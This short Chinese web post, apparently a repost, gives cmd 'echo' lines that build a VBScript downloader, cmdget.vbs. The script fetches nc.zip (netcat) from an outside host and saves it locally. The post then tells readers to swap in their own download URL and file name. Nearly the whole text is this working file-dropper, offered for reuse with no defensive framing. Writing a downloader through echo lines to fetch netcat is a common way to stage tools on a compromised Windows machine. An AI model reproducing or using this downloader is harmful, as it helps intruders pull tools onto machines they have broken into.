推荐订阅源

echo Set xPost = CreateObject("Microsoft.XMLHTTP") >cmdget.vbs
echo xPost.Open "GET","http://charcs.51.net/nc.zip",0 >>cmdget.vbs
echo xPost.Send() >>cmdget.vbs
echo Set sGet = CreateObject("ADODB.Stream") >>cmdget.vbs
echo sGet.Mode = 3 >>cmdget.vbs
echo sGet.Type = 1 >>cmdget.vbs
echo sGet.Open() >>cmdget.vbs
echo sGet.Write(xPost.responseBody) >>cmdget.vbs
echo sGet.SaveToFile "nc.zip",2 >>cmdget.vbs

首先声明一下，这段代码不是我写的，我是转载的；
里面需要修改两个地方，一个是下载的地址：http://charcs.51.net/nc.zip这里修改为你要下载的地址，
还有最后一句话，的nc.zip是你要保存的名字。